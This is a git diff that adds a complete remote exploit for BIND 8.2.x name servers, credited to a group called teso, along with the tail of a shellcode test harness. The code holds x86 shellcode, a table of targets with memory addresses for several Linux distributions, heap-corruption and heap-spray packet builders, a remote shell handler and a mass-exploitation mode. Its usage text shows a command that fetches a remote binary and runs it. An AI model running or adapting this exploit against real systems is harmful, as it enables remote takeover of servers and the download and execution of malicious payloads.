24 for (i = 0 ; buf < (unsigned char *) cend; ++buf) {
25
26 printf ("\\x%02x", *buf & 0xff);
27
28 if (++i >= 12) {
29 i = 0;
30 printf ("\"\n\"");
31 }
32 }
33 printf ("\";\n");
34
35 printf("\n");
36
37 if (argc > 1) {
38 printf ("%02x\n", ((unsigned char *) cbegin)[0]);
39 printf ("%02x\n", ex_buf[0]);
40 memcpy (ex_buf, cbegin, cend - cbegin);
41 printf ("%02x\n", ex_buf[0]);
42
43 ((void (*)()) &ex_buf)();
44 }
45
46 exit (EXIT_SUCCESS);
47}
48
diff --git a/other/tsig/tcp.c b/other/tsig/tcp.c
new file mode 100644
index 0000000..fa942f1
--- /dev/null
+++ b/other/tsig/tcp.c
@@ -0,0 +1,857 @@
1/* coded by smiler / teso
2 *
3 * teso private release - do not distribute
4 *
5 * based on scut's method
6 *
7 * 0.2 added palmers slack 7.1 offsets
8 * 0.3 added scut's huge collection of offsets :)
9 * 0.4 added populator reliability -sc. :)
10 *
11 * feedback welcome, im sure there is a better way to do it than this.
12 */
13
14#include <stdio.h>
15#include <string.h>
16#include <stdlib.h>
17#include <ctype.h>
18#include <sys/time.h>
19#include <sys/types.h>
20#include <sys/select.h>
21#include <sys/socket.h>
22#include <netinet/in.h>
23#include <netdb.h>
24#include <fcntl.h>
25#include <unistd.h>
26#if !defined(__FreeBSD__)
27# include <getopt.h>
28#endif
29#include "dnslib.h"
30
31
32unsigned char xp_initstr[] = "unset HISTFILE;uname -a;id;\n";
33
34unsigned char trap_code[] = "\x06\x31\xc0\xfe\xc0\xcd\x80";
35
36/* peername code that checks the source port connecting
37 * also setsockopts the SO_RCVLOWAT value in case BIND is
38 * waiting for such, which can happen
39 */
40unsigned char peername_code[]=
41 "\x31\xdb\xb3\x07\x89\xe2\xeb\x09\xaa\xaa\xaa\xaa"
42 "\xaa\xaa\xaa\xaa\xaa\x6a\x10\x89\xe1\x51\x52\x68"
43 "\xfe\x00\x00\x00\x89\xe1\x31\xc0\xb0\x66\xcd\x80"
44 "\xa8\xff\x75\x09\x66\x81\x7c\x24\x12\x34\x52\x74"
45 "\x0c\x5a\xf6\xc2\xff\x74\x4f\xfe\xca\x52\xeb\xe2"
46 "\x38\x5b\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f"
47 "\xcd\x80\x67\xe3\x02\xeb\xf3\x6a\x04\x6a\x00\x6a"
48 "\x12\x6a\x01\x53\xb8\x66\x00\x00\x00\xbb\x0e\x00"
49 "\x00\x00\x89\xe1\xcd\x80\x6a\x00\x6a\x00\x68\x2f"
50 "\x73\x68\x00\x68\x2f\x62\x69\x6e\x8d\x4c\x24\x08"
51 "\x8d\x54\x24\x0c\x89\x21\x89\xe3\x31\xc0\xb0\x0b"
52 "\xcd\x80\x31\xc0\xfe\xc0\xcd\x80";
53
54
55/* 34 byte x86/linux PIC arbitrary execute shellcode
56 */
57unsigned char x86_lnx_execve[] =
58 "\xeb\x1b\x5f\x31\xc0\x50\x8a\x07\x47\x57\xae\x75"
59 "\xfd\x88\x67\xff\x48\x75\xf6\x5b\x53\x50\x5a\x89"
60 "\xe1\xb0\x0b\xcd\x80\xe8\xe0\xff\xff\xff";
61
62typedef struct target {
63 char *name;
64 char *verstr;
65 int nl;
66 unsigned int ret_addr;
67 unsigned int retloc;
68} target_t;
69
70/* everything from 8.2 (included) to 8.2.3-REL (excluded) is vulnerable
71 */
72target_t targets[]={
73 /* XXX: i (scut) think that retloc is always right, just retaddr
74 * can vary. i guess it varies when using different configurations
75 * so a way to reduce the effect is to send lots of tcp packets
76 * with nops + shellcode and then use a retaddr above the one
77 * returned by smilers script. like you send 10 * 64kb packets,
78 * just use 0x081n0000, n = [567]
79 *
80 * get the offsets this way:
81 * strings /usr/sbin/named | grep 8.2 | tail -1
82 * md5sum /usr/sbin/named
83 * objdump --dynamic-reloc /usr/sbin/named | grep " close$"
84 * retaddr should be 0x08180000 in all cases
85 */
86
87 /* bind-8.2.2p5-7.deb, /usr/sbin/named 1ab35b7360bab29809706c2b440fc147 */
88 {"Debian 2.2 8.2.2p5-7 GOT", "8.2.2-P5-NOESW", 0, 0x08180000, 0x080b6d50 },
89 /* bind-8.2.2p5-11.deb, /usr/sbin/named bf5bf8aa378bbb135833f3d924746574 */
90 {"Debian 2.2 8.2.2p5-11 GOT", "8.2.2-P5-NOESW", 0, 0x08180000, 0x080b6f50 },
91 /* bind-8.2.2p7-1.deb, /usr/sbin/named fddc29d50b773125302013cea4fe86cf */
92 {"Debian 2.2 8.2.2p7-1 GOT", "8.2.2-P7-NOESW", 1, 0x08180000, 0x080b70b0 },
93
94 /* bind-8.2.2P5-12mdk.i586.rpm, /usr/sbin/named 96cb52c21f622d47315739ee4c480206 */
95 {"Mandrake 7.2 8.2.2-P5 GOT", "8.2.2-P5", 1, 0x08180000, 0x080d6a6c },
96
97 /* RedHat 5.2 uses 8.1.2 */
98 /* bind-8.2-6.i386.rpm, /usr/sbin/named */
99 {"RedHat 6.0 8.2 GOT", "8.2", 0, 0x08180000, 0x080c62ac },
100 /* bind-8.2.1-7.i386.rpm, /usr/sbin/named 9e1efa3d6eb65d1d12e9c3afcb1679de */
101 {"RedHat 6.1 8.2.1 GOT", "8.2.1", 0, 0x08180000, 0x080c3a2c },
102 /* bind-8.2.2_P3*?.rpm, /usr/sbin/named 40ae845243a678a5762a464f08a67ab5 */
103 {"RedHat 6.2 8.2.2-P3 GOT", "8.2.2-P3", 0, 0x08180000, 0x080c5170 },
104 /* bind-8.2.2_P5-9.rpm, /usr/sbin/named a74c76eca6d2bd6ad20a8258e6ba0562 */
105 {"RedHat 6.2 8.2.2-P5 GOT", "8.2.2-P5", 0, 0x08180000, 0x080c56ac },
106 /* bind-8.2.2_P5-25.i386.rpm, /usr/sbin/named ef247e20848ac07a3c5dde1d18d5e201 */
107 {"RedHat 7.0 8.2.2-P5 GOT", "8.2.2-P5", 1, 0x08180000, 0x080f7230 },
108
109 /* SuSE 6.0 to 6.2 use BIND 8.1.2 */
110 /* bind8.rpm, /usr/sbin/named 4afe958a1959918426572701dd650c4b */
111 {"SuSE 6.3 8.2.2-P5 GOT", "8.2.2-P5", 0, 0x08180000, 0x080d1d8c },
112 /* bind8.rpm, /usr/sbin/named b8f62f57b9140e7c9a6abb12b8cb9751 */
113 {"SuSE 6.4 8.2.2-P5 GOT", "8.2.2-P5", 0, 0x08180000, 0x080d0a8c },
114 /* bind8.rpm, /usr/sbin/named 4aa979a93e5e8b44d316a986d3008931 */
115 {"SuSE 7.0 8.2.3-T5B GOT", "8.2.3-T5B", 0, 0x08180000, 0x080d36cc },
116 {"SuSE 7.1 8.2.3-T9B GOT", "8.2.3-T9B", 1, 0x08180000, 0x080d5ca8 },
117
118 /* slack 4.0 uses 8.1.2 */
119 /* bind.tgz, /usr/sbin/named 6a2305085f8a3e50604c32337d354ff8 */
120 {"Slackware 7.0 8.2.2-REL GOT", "8.2.2-REL", 0, 0x08180000, 0x080c532c },
121 /* bind.tgz, /usr/sbin/named 1c7436aaab660c3c1c940e4e9c6847ec */
122 {"Slackware 7.1 8.2.2-P5 GOT", "8.2.2-P5", 1, 0x08180000, 0x080bfd0c },
123
124 {NULL, 0x0, 0x0 },
125};
126
127int mass = 0,
128 check_version = 1;
129unsigned char * code = peername_code;
130unsigned int code_len = sizeof (peername_code);
131
132int
133sleepvis (int seconds);
134
135void
136bind_version (struct addrinfo *addr, unsigned char *verbuf,
137 unsigned long int len);
138
139static int sc_build_x86_lnx (unsigned char *target, size_t target_len,
140 unsigned char *shellcode, char **argv);
141
142int
143send_bogus (struct addrinfo *addr);
144
145int
146send_populators (struct addrinfo *addr, int count);
147
148int target_cnt = sizeof(targets)/sizeof(target_t);
149target_t *vec = &targets[0];
150
151#if 1
152int
153Xsend (int fd, unsigned char *buf, size_t len, int flags)
154{
155 int n, tot = len;
156
157 while (len > 0) {
158 n = send (fd, buf, len, flags);
159 if (n <= 0)
160 return (n);
161 len -= n;
162 buf += n;
163 }
164
165 return (tot);
166}
167#else
168#define Xsend send
169#endif
170
171#if 1
172int
173Xread (int fd, unsigned char *buf, size_t len)
174{
175 int n, tot;
176 int pdlen;
177 unsigned char plen[2];
178
179 read (fd, plen, 2);
180 pdlen = ntohs (*(u_int16_t *)plen);
181 if (pdlen > len)
182 return (-1);
183
184 len = pdlen;
185 tot = len;
186
187 while (len > 0) {
188 n = read (fd, buf, len);
189 if (n < 0)
190 return (n);
191
192 len -= n;
193 if (n == 0)
194 return (len);
195 buf += n;
196 }
197
198 return (tot);
199}
200#else
201#define Xread read
202#endif
203
204
205void
206runshell (int fd)
207{
208 fd_set rset;
209 int n;
210 char buffer[4096];
211
212 for (;;) {
213 FD_ZERO (&rset);
214 FD_SET (fd, &rset);
215 FD_SET (STDIN_FILENO, &rset);
216
217 n = select (fd + 1, &rset, NULL, NULL, NULL);
218 if (n <= 0) {
219 perror ("select");
220 return;
221 }
222
223 if (FD_ISSET (fd, &rset)) {
224 n = recv (fd, buffer, sizeof (buffer), 0);
225 if (n <= 0) {
226 perror ("select");
227 break;
228 }
229
230 write (STDOUT_FILENO, buffer, n);
231 }
232
233 if (FD_ISSET (STDIN_FILENO, &rset)) {
234 n = read (STDIN_FILENO, buffer, sizeof (buffer));
235 if (n <= 0) {
236 perror ("select");
237 break;
238 }
239 Xsend (fd, buffer, n, 0);
240 }
241 }
242 return;
243}
244
245int
246get_warez_connection (struct addrinfo *addr)
247{
248 int s, val = 1;
249 struct sockaddr_in sin;
250
251 s = socket (addr->ai_family, addr->ai_socktype, addr->ai_protocol);
252 if (s < 0) {
253 return (-1);
254 }
255
256 if (setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val)) < 0) {
257 close (s);
258 return (-1);
259 }
260
261 memset (&sin, 0, sizeof(sin));
262 sin.sin_family = addr->ai_family;
263 sin.sin_port = htons (13394); /* shellcode checks for this... */
264 sin.sin_addr.s_addr = 0;
265
266 if (bind (s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
267 close (s);
268 return (-1);
269 }
270
271 if (connect (s, addr->ai_addr, addr->ai_addrlen) < 0) {
272 close (s);
273 return (-1);
274 }
275
276 return (s);
277}
278
279int
280get_connection (struct addrinfo *addr)
281{
282 int s;
283
284 s = socket (addr->ai_family, addr->ai_socktype, addr->ai_protocol);
285 if (s < 0) {
286 return (-1);
287 }
288
289 if (connect (s, addr->ai_addr, addr->ai_addrlen) < 0) {
290 close (s);
291 return (-1);
292 }
293
294 fcntl (s, F_SETFL, O_SYNC | fcntl (s, F_GETFL));
295
296 return (s);
297}
298
299/* since a malloc packet is always aligned on an 8 byte boundary we can
300 * assume at least a 2 byte alignment.
301 * Since (ret+12) is overwritten with garbage we need to jump over that
302 * with each instruction and it also needs to look like a domain name.
303 */
304unsigned char tesops[]=
305 "\x27\x90\xeb\x12\xeb\x12\xeb\x12\xeb\x12"
306 "\xeb\x12\xeb\x12\xeb\x12\xeb\x12\xeb\x12"
307 "\xeb\x12\xeb\x12\xeb\x12\xeb\x12\xeb\x12"
308 "\xeb\x12\xeb\x12\xeb\x12\xeb\x12\xeb\x12";
309/* just nops plus a jump to skip the first byte of the shellcode, note
310 * we shouldn't return into this part, but its relatively small
311 */
312unsigned char finops[]=
313 "\x14\x90\x90\x90\x90\x90\x90\x90\x90\x90"
314 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x01";
315
316int
317mk_nops (unsigned char *cp)
318{
319 unsigned char *orig = cp;
320 int ctr;
321
322 for (ctr = 0; ctr < 1498; ++ctr) {
323 memcpy (cp, tesops, 40);
324 cp += 40;
325 }
326 memcpy (cp, finops, 21);
327 cp += 21;
328 return (cp - orig);
329}
330int
331mk_overwrite_pkt (unsigned char *cp)
332{
333 unsigned char *orig = cp;
334 HEADER *hdr = (HEADER *)cp;
335
336 memset (cp, 0, NS_HFIXEDSZ);
337 hdr->id = 0;
338 hdr->rd = 1;
339 hdr->arcount = hdr->qdcount = htons (1);
340
341 cp += NS_HFIXEDSZ;
342
343 cp += mk_nops (cp);
344
345#if 0
346 memcpy (cp, vec->code, vec->code_len);
347 cp += vec->code_len;
348#endif
349
350#if 1
351 cp += dns_mklongdn (cp, 0xffff - 25 - (cp - orig));
352#else /* harmless, for testing... */
353 cp += dns_mklongdn (cp, 0xffff - 25 - (cp - orig) - 40);
354#endif
355 *cp++ = '\0';
356
357 NS_PUT16 (ns_t_a, cp);
358 NS_PUT16 (ns_c_in, cp);
359
360 *cp++ = '\0';
361 NS_PUT16 (250, cp);
362 *cp++ = '\0';
363
364 return (cp - orig);
365}
366
367int
368mk_malloc_pkt (unsigned char *cp)
369{
370 unsigned char *orig = cp;
371
372 memset (cp, 'P', 0x10 - 8);
373 cp += 0x10 - 8;
374
375 /* fake 1 indicate previous is in use */
376 NS_LPUT32 (0, cp);
377 NS_LPUT32 (0x11, cp);
378 NS_LPUT32 (vec->retloc - 12, cp);
379 NS_LPUT32 (vec->ret_addr, cp);
380 /* fake 2 indicate previous isnt in use */
381 NS_LPUT32 (0x10, cp);
382 NS_LPUT32 (0x10, cp);
383 NS_LPUT32 (0xf4f4f4f4, cp);
384 NS_LPUT32 (0x4f4f4f4f, cp);
385 /* fake 3 indicate previous is in use */
386 NS_LPUT32 (0x0, cp);
387 NS_LPUT32 (0x11, cp);
388 NS_LPUT32 (0xe3e3e3e3, cp);
389 NS_LPUT32 (0x3e3e3e3e, cp);
390
391 return (cp - orig);
392}
393
394int
395sleepvis (int seconds)
396{
397 fprintf (stderr, "%2d", seconds);
398 while (seconds > 0) {
399 fflush (stderr);
400 seconds -= 1;
401 sleep (1);
402 fprintf (stderr, "\b\b%2d", seconds);
403 }
404 fprintf (stderr, "\b\b");
405 fflush (stderr);
406
407 return (0);
408}
409
410int
411send_bogus (struct addrinfo *addr)
412{
413 int sock;
414 unsigned char bogus[2] = "\x00\x00";
415
416 sleep (10);
417
418 sock = get_connection (addr);
419 if (sock < 0) {
420 fprintf (stderr, "# looks alright, BIND either crashed or spinning in shellcode\n");
421 return (1);
422 } else {
423 fprintf (stderr, "# BIND is still reacting, either not vulnerable or GOT not triggered\n");
424 fprintf (stderr, "# triggering close()\n");
425 }
426
427 if (Xsend (sock, bogus, 2, 0) < 0) {
428 perror ("send_bogus:send");
429 exit (EXIT_FAILURE);
430 }
431 close (sock);
432
433 return (0);
434}
435
436int
437send_populators (struct addrinfo *addr, int count)
438{
439 int i;
440 int sock[64];
441 unsigned char len[2];
442 unsigned char dbuf[65536];
443 unsigned int dbuf_len_tell = 65532;
444 unsigned int dbuf_len_send;
445
446 if (count > (sizeof (sock) / sizeof (sock[0]))) {
447 fprintf (stderr, "to keep the balance of sanity is sometimes impossible\n");
448 exit (EXIT_FAILURE);
449 }
450
451 fprintf (stderr, "sending %d packets, 64kb each. will give %lu bytes of nop space\n",
452 count, (unsigned long int) count * (dbuf_len_tell - code_len));
453 fprintf (stderr, "for each packet we will leave one socket open\n");
454 fprintf (stderr, "[");
455 fflush (stderr);
456
457 /* build buffer: <jmp-nops> <shellcode> <remspace>
458 * cant be simpler ;)
459 * remspace is not send to the remote side at all
460 */
461 dbuf_len_send = dbuf_len_tell - 64;
462 for (i = 0 ; i < (dbuf_len_send - code_len) ; i += 2) {
463 dbuf[i] = '\xeb';
464 dbuf[i + 1] = '\x12';
465 }
466 for (i = (dbuf_len_send - code_len - 0x20) ;
467 i < (dbuf_len_send - code_len) ; ++i)
468 {
469 dbuf[i] = '\x90';
470// dbuf[i] = '\xcc';
471 }
472 memcpy (dbuf + dbuf_len_send - code_len,
473 code, code_len);
474
475 for (i = 0 ; i < count ; ++i) {
476 fprintf (stderr, "%1d", i % 10);
477 fflush (stderr);
478
479 sock[i] = get_connection (addr);
480 if (sock[i] < 0)
481 continue;
482
483 *(u_int16_t *)len = htons (dbuf_len_tell);
484 if (Xsend (sock[i], len, 2, 0) < 0) {
485 perror ("send_populators:len-sending:send");
486 exit (EXIT_FAILURE);
487 }
488 if (Xsend (sock[i], dbuf, dbuf_len_send, 0) < 0) {
489 perror ("send_populators:dbuf-sending:send");
490 exit (EXIT_FAILURE);
491 }
492 }
493
494 fprintf (stderr, "]\n\n");
495 fprintf (stderr, "successfully set up populator traps\n");
496
497 return (0);
498}
499
500
501int
502send_expl (struct addrinfo *addr)
503{
504 int s1 = -1, s2 = -1, s3 = -1, s4 = -1, err = 0;
505 int owrite_len, mallox_len, blue =0;
506 unsigned char owrite[65536], len[2];
507 unsigned char mallox[0x2000];
508
509 /* create the packets first */
510 owrite_len = mk_overwrite_pkt (owrite);
511 if (owrite_len > 65535) {
512 fprintf (stderr, "fuck..\n");
513 return (-1);
514 }
515
516 mallox_len = mk_malloc_pkt (mallox);
517
518 s1 = get_connection (addr);
519 s2 = get_connection (addr);
520 s3 = get_connection (addr);
521 if (s1 < 0 || s2 < 0 || s3 < 0) {
522 perror ("get_connection");
523 goto fail;
524 }
525
526 /* make named allocate the packet data */
527 *(u_int16_t *)len = htons (0x60);
528 if (Xsend (s1, len, 2, 0) < 0) {
529 perror ("send");
530 goto fail;
531 }
532
533 *(u_int16_t *)len = htons (owrite_len);
534 if (Xsend (s2, len, 2, 0) < 0) {
535 perror ("send");
536 goto fail;
537 }
538
539 /* server still expects more.. */
540 *(u_int16_t *)len = htons (mallox_len + 1);
541 if (Xsend (s3, len, 2, 0) < 2) {
542 perror ("send");
543 goto fail;
544 }
545
546 printf ("sending main part of malloc packet...\n");
547 if (Xsend (s3, mallox, mallox_len, 0) < (mallox_len)) {
548 perror ("malloc send");
549 goto fail;
550 }
551
552 sleepvis (5);
553
554 printf ("sending overwrite packet...\n");
555 /* overwrite the 3rd packet with the 2nd */
556 if (Xsend (s2, owrite, owrite_len, 0) < owrite_len) {
557 perror ("owrite_send");
558 goto fail;
559 }
560 while (blue < 65300) {
561 int n;
562
563 n = recv (s2, owrite, sizeof(owrite), 0);
564 if (n <= 0)
565 break;
566 blue += n;
567 }
568
569 close (s2);
570 s4 = get_warez_connection (addr);
571 if (s4 < 0) {
572 perror ("get_warez_connection");
573 return (-1);
574 }
575 fprintf (stderr, "sent overwrite packet...sleeping for 2 seconds\n");
576 sleepvis (2);
577
578 /* experimental reliability patch */
579 fprintf (stderr, "sending dummy packets with shellcode to populate the heap\n");
580 send_populators (addr, 20);
581 sleepvis (5);
582
583 fprintf (stderr, "freeing packet\n");
584 /* free the 3rd packet */
585 if (Xsend (s3, "a",1,0) < 1) {
586 perror ("malloc 2 send");
587 goto fail;
588 }
589 close(s3);
590 sleepvis (2);
591 fprintf (stderr, "doing close\n");
592 send (s1, mallox, 0x60, 0);
593 close (s1);
594 sleepvis (2);
595 fprintf (stderr, "doing fork-away and bogus connect to trigger close...\n");
596 if (fork () == 0) {
597 send_bogus (addr);
598 exit (EXIT_SUCCESS);
599 }
600
601 if (mass == 1) {
602 sleepvis (5);
603 fprintf (stderr, "egg placed, may the force be with you.\n");
604 exit (EXIT_SUCCESS);
605 }
606
607 fprintf (stderr, "trying shell....\n");
608 fprintf (stderr, "advice: be patient, if it does not seem react here, wait. BIND may be in\n");
609 fprintf (stderr, " an unstable state, but we will send a bogus packet in 10 seconds.\n");
610 fprintf (stderr, " if it does react after some minutes, but behaves blocky,\n");
611 fprintf (stderr, " something went wrong, but you can still type blind and wait a\n");
612 fprintf (stderr, " few minutes for it to react, sorry.\n");
613 fprintf (stderr, "-------------------------------------------------------------------------\n");
614
615#ifndef TRUST_THE_MAGIC
616 write (s4, xp_initstr, strlen (xp_initstr));
617#endif
618 runshell (s4);
619
620 err++;
621fail:
622 err--;
623 close (s1);
624 close (s2);
625 close (s3);
626 return (err);
627}
628
629int
630send_exploit (char *hname)
631{
632 struct addrinfo *addr, hints;
633 int err = 0;
634
635 memset (&hints, 0, sizeof(hints));
636 hints.ai_flags = AI_CANONNAME;
637 hints.ai_family = PF_UNSPEC;
638 hints.ai_socktype = SOCK_STREAM;
639 err = getaddrinfo (hname, "domain", &hints, &addr);
640 if (err) {
641 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (err));
642 return (-1);
643 }
644
645 if (check_version) {
646 unsigned char verbuf[64];
647
648 fprintf (stderr, "probing for BIND version %s\n", vec->verstr);
649 memset (verbuf, '\0', sizeof (verbuf));
650 bind_version (addr, verbuf, sizeof (verbuf));
651 verbuf[sizeof (verbuf) - 1] = '\0';
652 if (strcmp (verbuf, vec->verstr) != 0) {
653 fprintf (stderr, "remote uses BIND version \"%s\",\n"
654 "while the vector is for BIND version \"%s\".\n"
655 "use -n option to override, but know what you do\n",
656 verbuf, vec->verstr);
657
658 exit (EXIT_FAILURE);
659 }
660 fprintf (stderr, "remote uses correct version: \"%s\"\n", verbuf);
661 }
662
663
664 err = send_expl (addr);
665
666 freeaddrinfo (addr);
667
668 return (err);
669}
670
671void
672usage (char *prg)
673{
674 fprintf (stderr, "usage: %s [-h ip] [-t target] [mass commands]\n\n", prg);
675 fprintf (stderr, "-c mass mode. experts only\n");
676 fprintf (stderr, "-n do NOT check for the correct BIND version\n");
677 fprintf (stderr, "-h ip set target ip (default: 127.0.0.1)\n");
678 fprintf (stderr, "-t target set target, zero gives a list\n\n");
679
680 fprintf (stderr, "example: %s -h 127.0.0.1 -t 4 -c -- /bin/sh -c \\\n"
681 "\t\"cd /tmp;wget foo.org/bar;chmod +x bar;./bar\"\n\n", prg);
682
683 exit (EXIT_FAILURE);
684}
685
686int
687main (int argc, char **argv)
688{
689 char c;
690 char * dest = "127.0.0.1";
691 int target = 0;
692 unsigned char codebuf[256];
693
694 if (argc == 1)
695 usage (argv[0]);
696
697 while ((c = getopt (argc, argv, "cnh:t:")) != EOF) {
698 switch (c) {
699 case 'c':
700 mass = 1;
701 break;
702 case 'n':
703 check_version = 0;
704 break;
705 case 'h':
706 dest = optarg;
707 break;
708 case 't':
709 if (atoi (optarg) == 0) {
710 target_t *ptr;
711 int ctr;
712
713 printf ("\tno system BIND version\n");
714 printf ("\t--- ------------------------------ ---------------\n");
715 for (ctr = 1, ptr = targets; ptr->name; ++ptr, ++ctr)
716 fprintf (stderr, "\t%2d: %-30s %-15s\n%s", ctr,
717 ptr->name, ptr->verstr,
718 ptr->nl == 1 ? "\n" : "");
719 exit (EXIT_FAILURE);
720 }
721 target = atoi (optarg);
722
723 break;
724 default:
725 usage (argv[0]);
726 break;
727 }
728 }
729
730 /* one remaining argument (script file name)
731 */
732 if (mass == 1 && (argc - optind) == 0)
733 usage (argv[0]);
734
735 if (mass == 1) {
736 int len;
737
738 len = sc_build_x86_lnx (codebuf, sizeof (codebuf),
739 x86_lnx_execve, &argv[optind]);
740
741 fprintf (stderr, "created %d byte execve shellcode\n", len);
742
743 code = codebuf;
744 code_len = len;
745 }
746
747 target -= 1;
748 if (target >= target_cnt)
749 target = 0;
750 vec = &targets[target];
751
752 fprintf (stderr, "using: %s\n", vec->name);
753 fprintf (stderr, "against: %s\n", dest);
754 fprintf (stderr, "\n");
755
756 srand (time (NULL));
757
758 send_exploit (dest);
759
760 return (EXIT_SUCCESS);
761}
762
763
764void
765bind_version (struct addrinfo *addr, unsigned char *verbuf,
766 unsigned long int verlen)
767{
768 int s1;
769 unsigned char pkt[] =
770 "\x00\x06\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"
771 "\x07\x76\x65\x72\x73\x69\x6f\x6e\x04\x62\x69\x6e"
772 "\x64\x00\x00\x10\x00\x03";
773 unsigned char * ver;
774 unsigned char resp[256];
775 unsigned char len[2];
776
777 s1 = get_connection (addr);
778 if (s1 < 0) {
779 perror ("bind_version:connect");
780 exit (EXIT_FAILURE);
781 }
782
783 *(u_int16_t *)len = htons (30);
784 if (Xsend (s1, len, 2, 0) < 0) {
785 perror ("bind_version:send-len");
786 exit (EXIT_FAILURE);
787 }
788
789 if (Xsend (s1, pkt, 30, 0) < 30) {
790 perror ("bind_version:send-data");
791 exit (EXIT_FAILURE);
792 }
793
794 memset (resp, '\0', sizeof (resp));
795 if (Xread (s1, resp, sizeof (resp) - 1) < 0) {
796 perror ("bind_version:read-data");
797 exit (EXIT_FAILURE);
798 }
799
800 ver = resp + sizeof (resp) - 1;
801 while (ver > resp && *ver == '\0')
802 --ver;
803 while (ver > resp && isprint (*ver) && *ver >= 0x20)
804 --ver;
805 if (*ver < 0x20)
806 ++ver;
807 strncpy (verbuf, ver, verlen);
808
809 close (s1);
810}
811
812
813static int
814sc_build_x86_lnx (unsigned char *target, size_t target_len, unsigned char *shellcode,
815 char **argv)
816{
817 int i;
818 size_t tl_orig = target_len;
819
820
821 if (strlen (shellcode) >= (target_len - 1))
822 return (-1);
823
824 memcpy (target, shellcode, strlen (shellcode));
825 target += strlen (shellcode);
826 target_len -= strlen (shellcode);
827
828 for (i = 0 ; argv[i] != NULL ; ++i)
829 ;
830
831 /* set argument count
832 */
833 target[0] = (unsigned char) i;
834 target++;
835 target_len--;
836
837 for ( ; i > 0 ; ) {
838 i -= 1;
839
840 if (strlen (argv[i]) >= target_len)
841 return (-1);
842
843 printf ("[%3d/%3d] adding (%2d): %s\n",
844 (tl_orig - target_len), tl_orig,
845 strlen (argv[i]), argv[i]);
846
847 memcpy (target, argv[i], strlen (argv[i]));
848 target += strlen (argv[i]);
849 target_len -= strlen (argv[i]);
850
851 target[0] = (unsigned char) (i + 1);
852 target++;
853 target_len -= 1;
854 }
855
856 return (tl_orig - target_len);
857}
diff --git a/other/tsig/tcp.o b/other/tsig/tcp.o
new file mode 100644
index 0000000..6bc8907
--- /dev/null
+++ b/other/tsig/tcp.o
Binary files differ
diff --git a/other/tsig/tsig b/other/tsig/tsig
new file mode 100644
index 0000000..3b9d474
--- /dev/null
+++ b/other/tsig/tsig
Binary files differ